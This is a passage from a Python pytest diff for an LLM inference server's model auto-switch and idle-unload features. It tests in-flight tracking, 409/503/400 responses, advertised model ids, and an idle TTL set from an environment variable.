test_keepwarm_tracks_inflight_when_enabled_even_if_idle_zero(monkeypatch): + # In-flight must be counted whenever auto-switch is on, even with idle TTL 0, + # so enabling idle mid-stream cannot unload an in-flight request. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + kw._inflight = 0 + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 1 # counted despite idle TTL being 0 + assert kw._inflight == 0 # balanced after completion + + +# ── review follow-ups: OFF-state body, swap guard, alias reload, always-track ── + + +def _bad_body_request(): + import json as _json + class _BadReq: + async def json(self): + raise _json.JSONDecodeError("expecting value", "", 0) + + return _BadReq() + + +def test_completions_malformed_body_503_not_500_when_unloaded(monkeypatch): + # OFF + nothing loaded + unparseable body must still 503 (pre-feature + # behavior), not 500 from the early body read. + from fastapi import HTTPException + + backend = _FakeBackend(None) + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_completions(_bad_body_request(), "tester")) + assert exc.value.status_code == 503 + + +def test_embeddings_malformed_body_503_not_500_when_unloaded(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend(None) + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_bad_body_request(), "tester")) + assert exc.value.status_code == 503 + + +def test_non_string_model_falls_through_without_error(monkeypatch): + # A non-string model (e.g. {"model": 123} on a raw-body endpoint) must be + # treated as absent, never raising in the membership checks, even when a stash + # exists from idle-unload. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None)) + asyncio.run(inference_route._maybe_auto_switch_model(123, object(), "tester")) + assert rec.calls == [] # no load, no TypeError + + +def test_anthropic_validates_max_tokens_before_auto_switch(): + # An Anthropic request missing max_tokens must 400 before the hook runs, so an + # invalid request never triggers a model load. Asserted on the source order. + import inspect + + src = inspect.getsource(inference_route.anthropic_messages) + assert "_maybe_auto_switch_model" in src + assert src.index("max_tokens: field required") < src.index("_maybe_auto_switch_model") + + +def test_alias_reloads_model_freed_by_idle_unload_with_quant(monkeypatch): + # After idle-unload frees the model, an unknown/alias name (resolves to None) + # reloads what was freed, including the exact quant, instead of 503-ing. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the backend + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", "Q4_K_M")) + _run_hook("gpt-4o-mini") + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "unsloth/A-GGUF" + assert rec.calls[0].gguf_variant == "Q4_K_M" # exact freed quant restored + + +def test_alias_does_not_reload_when_model_already_loaded(monkeypatch): + # The reload only triggers on an empty backend; with something loaded, an + # unknown name still falls through (drop-in) without resurrecting the stash. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("unsloth/B-GGUF") + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None)) + _run_hook("gpt-4o-mini") + assert rec.calls == [] + + +def test_idle_loop_does_not_unload_while_request_pending(monkeypatch): + # A request that has marked itself pending (waiting on the unload gate) but not + # yet started must keep the idle loop from unloading the model. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + monkeypatch.setattr(kw, "_last_active", 0.0) # far past any TTL + kw._note_pending() + try: + assert kw._is_idle(1.0) is False # pending request blocks unload + finally: + kw._note_unpending() + assert kw._is_idle(1.0) is True # cleared once it is no longer pending + + +def test_keepwarm_tracks_inflight_even_when_auto_switch_off(monkeypatch): + # A stream that starts while the feature is OFF must still be counted, so + # enabling idle-unload mid-stream cannot unload it. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setattr(kw, "_inflight", 0) + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 1 # tracked despite the feature being off + assert kw._inflight == 0 + + +def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch, tmp_path): + # _build_index must scan the same roots the model picker lists, else a model + # the UI shows is silently served as the loaded one. Verify each is consulted. + from pathlib import Path + import routes.models as models_route + from utils import paths as upaths + import storage.studio_db as studio_db + + scanned = [] + monkeypatch.setattr( + models_route, + "_scan_models_dir", + lambda d, limit = None: scanned.append(("models", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr( + models_route, + "_scan_hf_cache", + lambda d: scanned.append(("hf", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr( + models_route, + "_scan_lmstudio_dir", + lambda d: scanned.append(("lm", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path / "active") + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + monkeypatch.setattr(upaths, "legacy_hf_cache_dir", lambda: tmp_path / "legacy") + monkeypatch.setattr(upaths, "hf_default_cache_dir", lambda: tmp_path / "default") + monkeypatch.setattr(upaths, "lmstudio_model_dirs", lambda: [tmp_path / "lmstudio"]) + monkeypatch.setattr( + studio_db, "list_scan_folders", lambda: [{"path": str(tmp_path / "custom")}] + ) + for sub in ("active", "legacy", "default", "lmstudio", "custom"): + (tmp_path / sub).mkdir() + + resolver._build_index() + + hf = {p for k, p in scanned if k == "hf"} + lm = {p for k, p in scanned if k == "lm"} + assert str((tmp_path / "legacy").resolve()) in hf + assert str((tmp_path / "default").resolve()) in hf + assert str((tmp_path / "custom").resolve()) in hf + assert str((tmp_path / "lmstudio").resolve()) in lm + + +# ── gemini round: list-body 400, non-POST not tracked ── + + +def _json_body_request(payload): + class _Req: + async def json(self): + return payload + + return _Req() + + +def test_completions_list_body_is_400_not_500(monkeypatch): + # A valid JSON non-dict body (e.g. a list) on a loaded backend is a clean 400, + # not a 500 from body.get(...). + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") # loaded + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_completions(_json_body_request([]), "tester")) + assert exc.value.status_code == 400 + + +def test_embeddings_list_body_is_400_not_500(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_json_body_request([]), "tester")) + assert exc.value.status_code == 400 + + +def test_middleware_ignores_non_post(monkeypatch): + # CORS preflight (OPTIONS) on an inference path must not be tracked as in-flight. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "OPTIONS", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 0 # OPTIONS not counted + assert kw._inflight == 0 + + +# ── review round 4: swap guard, idle variant identity, load-by-path, stash clear ── + + +def test_auto_switch_refuses_when_another_inference_is_active(monkeypatch): + # A cross-model swap must 409 (not kill) while another inference request is in + # flight; the requesting call itself is excluded from the count. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # this request + another active one + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] + + +def test_auto_switch_swaps_when_only_caller_is_active(monkeypatch): + # Only the caller is in flight: nothing else to protect, so the swap proceeds. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", None, "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + _run_hook("org/B-GGUF") + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/p/B" # concrete local path, not the repo id + + +def test_idle_loop_resets_timer_for_same_repo_different_variant(monkeypatch): + # Same repo, different quant counts as a fresh model: the idle timer resets, so + # the new variant is not unloaded before one TTL of its own. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.05) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + + unloads = [] + backend = _FakeBackend("org/model-GGUF", hf_variant = "Q4_K_M") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.03) + assert unloads == [] + kw._last_active = time.monotonic() - 60 # force idle + backend.hf_variant = "Q8_0" # same id, new quant -> fresh identity + await asyncio.sleep(0.03) + assert unloads == [] # timer reset by the variant change, not unloaded + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + + +def test_generate_stream_is_tracked_as_inference_path(): + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/api/inference/generate/stream") is True + assert _is_inference_path("/api/inference/audio/generate") is True + assert _is_inference_path("/v1/responses") is True + + +def test_successful_manual_load_clears_last_unloaded_stash(): + from core.inference import llama_keepwarm as kw + + kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M")) + assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M") + kw.note_model_loaded() + assert kw.get_last_unloaded_model() is None + + +def test_hf_cache_entry_loads_from_local_snapshot_path(tmp_path): + # An HF-cache repo resolves to its on-disk snapshot dir, so /load takes the + # local branch (no repo-id download). loader_id stays the repo id. + from types import SimpleNamespace + + repo = tmp_path / "models--org--Repo" + snap = repo / "snapshots" / "abc123" + snap.mkdir(parents = True) + (snap / "model-Q4_K_M.gguf").write_bytes(b"GGUF stub") + + entry = resolver._local_gguf_entry("org/Repo", SimpleNamespace(id = "org/Repo", path = str(repo))) + assert entry is not None + assert entry.loader_id == "org/Repo" # advertised id unchanged + assert "snapshots" in entry.load_path # loads from the concrete snapshot dir + assert entry.load_path != "org/Repo" # never the bare repo id + assert entry.variants # quant detected on disk + + +# ── review round 5: concurrent-swap, repo-id identity, /v1/models id, gate, 503 ── + + +def test_already_loaded_by_repo_id_is_not_reswapped(monkeypatch): + # A model loaded normally has model_identifier == repo id, but the resolver + # returns the concrete load path. A request for that repo must count as already + # serving (no reload, no 409) even with another inference active. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/Repo-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/cache/models--org--Repo-GGUF/snapshots/abc", "Q4_K_M", "org/Repo-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) + monkeypatch.setattr(kw, "_pending", 0) + _run_hook("org/Repo-GGUF:Q4_K_M") # exact quant + _run_hook("org/Repo-GGUF") # bare id + assert rec.calls == [] + + +def test_auto_switch_advertises_repo_id_after_load(monkeypatch): + # After a load-by-path, the backend advertises the repo id (override key), not + # the concrete path, so /v1/models and the idle stash stay name-based. + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B-snapshot", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("org/B-GGUF:Q8_0") + assert rec.calls[0].model_path == "/p/B-snapshot" # loaded by concrete path + assert backend._openai_advertised_id == "org/B-GGUF" # advertised by repo id + + +def test_already_serving_by_path_records_advertised_alias(monkeypatch): + # Codex P2: a model loaded by local path and requested via an advertised alias + # that resolves to the same path is already serving (no reload), but /v1/models + # and responses would report the path basename and list the alias as loaded:false + # unless the alias is recorded as the advertised id on the already-serving return. + path = "/cache/models--org--Repo-GGUF/snapshots/abc" + backend = _FakeBackend(path, hf_variant = "Q4_K_M") # loaded by path, no advertised id + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = (path, "Q4_K_M", "org/Repo-GGUF"), + backend = backend, + recorder = rec, + ) + assert backend._openai_advertised_id is None + _run_hook("org/Repo-GGUF:Q4_K_M") + assert rec.calls == [] # already serving -> no reload + assert backend._openai_advertised_id == "org/Repo-GGUF" # alias now recorded + + +def test_streaming_responses_uses_advertised_id_helper(): + # Codex P2: streamed /v1/responses envelopes must derive the model id from + # _llama_public_model_id (which prefers _openai_advertised_id), not the raw + # model_identifier. After an auto-switch to a cached HF GGUF the identifier is + # the snapshot path while the repo id lives in _openai_advertised_id, so the raw + # form would stream a snapshot basename while /v1/models, chat, and non-streaming + # responses report the repo id. + import inspect + + src = inspect.getsource(inference_route._responses_stream) + assert "_clean_model = _llama_public_model_id(llama_backend" in src + assert 'public_model_id(getattr(llama_backend, "model_identifier"' not in src + + +def test_concurrent_same_target_requests_load_once(monkeypatch): + # Two concurrent requests for the same unloaded model must load once, not each + # 409 the other. Simulate the second request already waiting (registered) while + # the first runs the hook with _inflight counting both. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # both same-target requests counted + monkeypatch.setattr(kw, "_pending", 0) + inference_route._note_switch_waiter(inference_route._switch_key("org/B-GGUF", "Q8_0"), 1) + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_swap_still_refused_when_other_request_targets_different_model(monkeypatch): + # A concurrent request heading to a different target still blocks the swap: the + # same-target exclusion must not swallow a genuinely conflicting request. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) + monkeypatch.setattr(kw, "_pending", 0) + inference_route._note_switch_waiter(inference_route._switch_key("org/C-GGUF", "Q4_K_M"), 1) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] + + +def test_v1_models_advertises_repo_id_not_load_path(monkeypatch): + # /v1/models must report the advertised repo id, never the host load path. + from types import SimpleNamespace + + llama = _FakeBackend("/cache/models--org--Repo/snapshots/abc") + llama._openai_advertised_id = "org/Repo-GGUF" + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr( + inference_route, "get_inference_backend", lambda: SimpleNamespace(active_model_name = None) + ) + objects = inference_route._openai_model_objects() + assert [o["id"] for o in objects] == ["org/Repo-GGUF"] + + +def test_idle_alias_reload_preserves_override_via_advertised_id(monkeypatch): + # The idle stash carries (load_path, quant, advertised_id). An alias reload must + # look up the override by the advertised repo id, not the concrete load path, + # so the user's saved launch flags survive the unload/reload. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + overrides = {"org/A-GGUF": {"max_seq_length": 8192}} + monkeypatch.setattr(settings, "get_model_override", lambda mid: overrides.get(mid, {})) + _run_hook("gpt-4o-mini") + assert rec.calls[0].model_path == "/cache/snap/A" # reloads the freed path + assert rec.calls[0].gguf_variant == "Q4_K_M" + assert rec.calls[0].max_seq_length == 8192 # override keyed by repo id, not path + + +def test_load_route_holds_lifecycle_gate(monkeypatch): + # Lock the manual /load gate against silent revert: the route must wrap the + # load in inference_lifecycle_gate so idle-unload can't fire mid-load. + import inspect + + src = inspect.getsource(inference_route.load_model) + assert "inference_lifecycle_gate" in src + assert "_load_model_impl" in src + + +def _anthropic_payload(max_tokens = None): + from models.inference import AnthropicMessagesRequest, AnthropicMessage + return AnthropicMessagesRequest( + model = "claude-x", + max_tokens = max_tokens, + messages = [AnthropicMessage(role = "user", content = "hi")], + ) + + +def test_anthropic_503_when_unloaded_and_auto_switch_off(monkeypatch): + # Default-off parity: unloaded backend + auto-switch off 503s before the + # max_tokens 400, exactly as the pre-feature endpoint did. + from fastapi import HTTPException + + backend = _FakeBackend(None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + assert exc.value.status_code == 503 + + +def test_anthropic_400_when_auto_switch_on_and_max_tokens_missing(monkeypatch): + # With auto-switch on, request-shape validation runs first: a missing + # max_tokens still 400s before any load is attempted. + from fastapi import HTTPException + + backend = _FakeBackend(None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + assert exc.value.status_code == 400 + + +# ── review round 6: concurrency ordering, external untrack, unload gate, ids ── + + +def test_pending_same_target_request_does_not_force_409(monkeypatch): + # A second same-target request blocked in the middleware (pending, not yet + # generating) must not make the first request 409: pending is excluded. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 1) # just the caller + monkeypatch.setattr(kw, "_pending", 1) # second request blocked in middleware + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_concurrent_same_target_loads_once_while_other_still_resolving(monkeypatch): + # The real middleware counts a concurrent same-model request as in-flight + # before it resolves and registers a target waiter. The raw-request waiter, + # registered before resolve, must still exclude it so the first request loads. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # caller + a still-resolving twin + monkeypatch.setattr(kw, "_pending", 0) + # The twin has only registered its raw requested model (not yet a target waiter). + inference_route._note_request_waiter(inference_route._request_waiter_key("org/B-GGUF:Q8_0"), 1) + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_external_untrack_decrements_inflight_and_is_idempotent(): + from core.inference import llama_keepwarm as kw + + kw._inflight = 2 + scope = {"type": "http"} + kw.untrack_current_request(scope) + assert kw._inflight == 1 + assert scope.get(kw._UNTRACKED_SCOPE_KEY) is True + kw.untrack_current_request(scope) # idempotent: no further decrement + assert kw._inflight == 1 + kw._inflight = 0 + + +def test_manual_unload_interrupts_even_while_inference_active(monkeypatch): + # A manual /unload is a deliberate action: it tears down immediately even with + # a request in flight (only the automatic idle loop defers). No 409. + from core.inference import llama_keepwarm as kw + from models.inference import UnloadRequest + + backend = _FakeBackend("org/A-GGUF") + backend.is_active = True + backend.unload_model = lambda: setattr(backend, "is_loaded", False) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False) + monkeypatch.setattr(kw, "_inflight", 1) # another request streaming + monkeypatch.setattr(kw, "_pending", 0) + resp = asyncio.run( + inference_route.unload_model(UnloadRequest(model_path = "org/A-GGUF"), "tester") + ) + assert resp.status == "unloaded" + assert not backend.is_loaded # torn down despite the active request + + +def test_auto_switch_refuses_when_unsloth_stream_active(monkeypatch): + # The GGUF slot is empty but an Unsloth model is streaming (counted in-flight). + # _load_model_impl would unload it, so auto-switch must 409, not only when a + # GGUF is loaded. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # no GGUF loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # an Unsloth stream + this request + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] # the active Unsloth model is not torn down + + +def test_public_model_id_prefers_advertised_over_path(): + backend = _FakeBackend("/cache/models--org--Repo/snapshots/abc/model.gguf") + backend._openai_advertised_id = "org/Repo-GGUF" + # The advertised repo id from an auto-switch load wins. + assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF" + backend._openai_advertised_id = None + # No advertised id: the identifier is cleaned to a public id (delegates to + # public_model_id), never the raw on-disk .gguf path. + cleaned = inference_route._llama_public_model_id(backend) + assert cleaned and "/cache/" not in cleaned and not cleaned.endswith(".gguf") + # An already-clean repo id passes through unchanged. + backend.model_identifier = "org/Repo-GGUF" + assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF" + backend.model_identifier = None + assert inference_route._llama_public_model_id(backend, "req") == "req" + + +def test_chat_validates_non_system_message_before_auto_switch(): + # A system-only chat must be rejected before the hook so an invalid request + # never swaps the resident model. Asserted on source order. + import inspect + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("At least one non-system message is required.") < src.index( + "_maybe_auto_switch_model" + ) + + +def test_chat_untracks_external_provider_before_proxy(): + # The external-provider branch must untrack the request before proxying so its + # stream can't block a concurrent local auto-switch. + import inspect + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("untrack_current_request") < src.index("_proxy_to_external_provider") + + +# ── round 7: API-initiated training defers to active inference, UI does not ── + + +def test_authenticated_via_api_key_detects_key_vs_session(): + from fastapi.security import HTTPAuthorizationCredentials + from auth.authentication import authenticated_via_api_key, API_KEY_PREFIX + + key = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = API_KEY_PREFIX + "abc") + jwt = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = "eyJhbGciOiJ.session") + assert asyncio.run(authenticated_via_api_key(key)) is True + assert asyncio.run(authenticated_via_api_key(jwt)) is False + + +def _training_request(): + from models.training import TrainingStartRequest + return TrainingStartRequest( + model_name = "unsloth/test", training_type = "LoRA/QLoRA", format_type = "alpaca" + ) + + +def test_api_training_refused_while_inference_active(monkeypatch): + # API-key caller: training is refused with 409 while a request streams, so it + # can't free VRAM by unloading the chat model out from under the stream. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + import routes.training as training_route + + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + asyncio.run( + training_route.start_training( + _training_request(), current_subject = "t", via_api_key = True + ) + ) + assert exc.value.status_code == 409 + + +def test_ui_training_not_blocked_by_active_inference(monkeypatch): + # UI (session auth) caller: the API guard is skipped, so training proceeds past + # it even with inference active (here it hits the normal already-active path). + from types import SimpleNamespace + from core.inference import llama_keepwarm as kw + import routes.training as training_route + + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + fake = SimpleNamespace(is_training_active = lambda: True, current_job_id = "job-1") + monkeypatch.setattr(training_route, "get_training_backend", lambda: fake) + resp = asyncio.run( + training_route.start_training(_training_request(), current_subject = "t", via_api_key = False) + ) + assert resp.status == "error" and "already" in (resp.error or "").lower() + + +# ── UNSLOTH_MODEL_IDLE_TTL env override (borrowed from PR 6517) ── + + +def test_env_idle_ttl_standalone_when_no_stored_value(monkeypatch): + # With nothing stored, the env var enables idle-unload even while auto-switch + # is off (headless/ops default), and the UI reader reflects it. + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) # nothing stored + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 600 + assert settings.get_stored_auto_unload_idle_seconds() == 600 + + +def test_stored_idle_value_overrides_env_and_stays_gated(monkeypatch): + # An explicit stored value wins over the env default and remains gated on the + # auto-switch toggle. + store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 30} + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert settings.get_auto_unload_idle_seconds() == 30 # stored wins, not env + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 0 # explicit value still gated off + + +def test_env_idle_ttl_invalid_is_ignored(monkeypatch): + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "not-a-number") + assert settings.get_auto_unload_idle_seconds() == 0 + monkeypatch.delenv("UNSLOTH_MODEL_IDLE_TTL", raising = False) + assert settings.get_auto_unload_idle_seconds() == 0 + + +# ── codex/gemini round: standalone-idle reload, path-as-id, embeddings input, retrieve id ── + + +def test_env_idle_standalone_reloads_freed_model_with_auto_switch_off(monkeypatch): + # C3: a standalone UNSLOTH_MODEL_IDLE_TTL (auto-switch OFF) freed the model on + # idle; the next request must restore exactly what was freed even though the + # resolver never runs while auto-switch is off. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = False, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), # would switch if resolver ran + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) # standalone env TTL + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + _run_hook("org/B-GGUF") + # Resolver skipped (auto-switch off), so only the stash reload runs: the freed A + # is restored, not the resolves_to target B. + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + assert rec.calls[0].gguf_variant == "Q4_K_M" + + +def test_no_stash_reload_when_idle_off_and_auto_switch_off(monkeypatch): + # C3 guard: with both auto-switch and idle-unload off the hook is a pure no-op + # and must not resurrect a stashed model (that path only serves the idle feature). + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + _run_hook("org/B-GGUF") + assert rec.calls == [] + + +def test_stash_reload_skipped_while_unsloth_model_active(monkeypatch): + # An Unsloth/Transformers model loaded after an idle-unload leaves the GGUF slot + # empty but is the live model; an unknown /v1 name must NOT resurrect the stale + # GGUF stash (that reload would tear the active Unsloth model down). + from types import SimpleNamespace + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # GGUF slot empty + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to 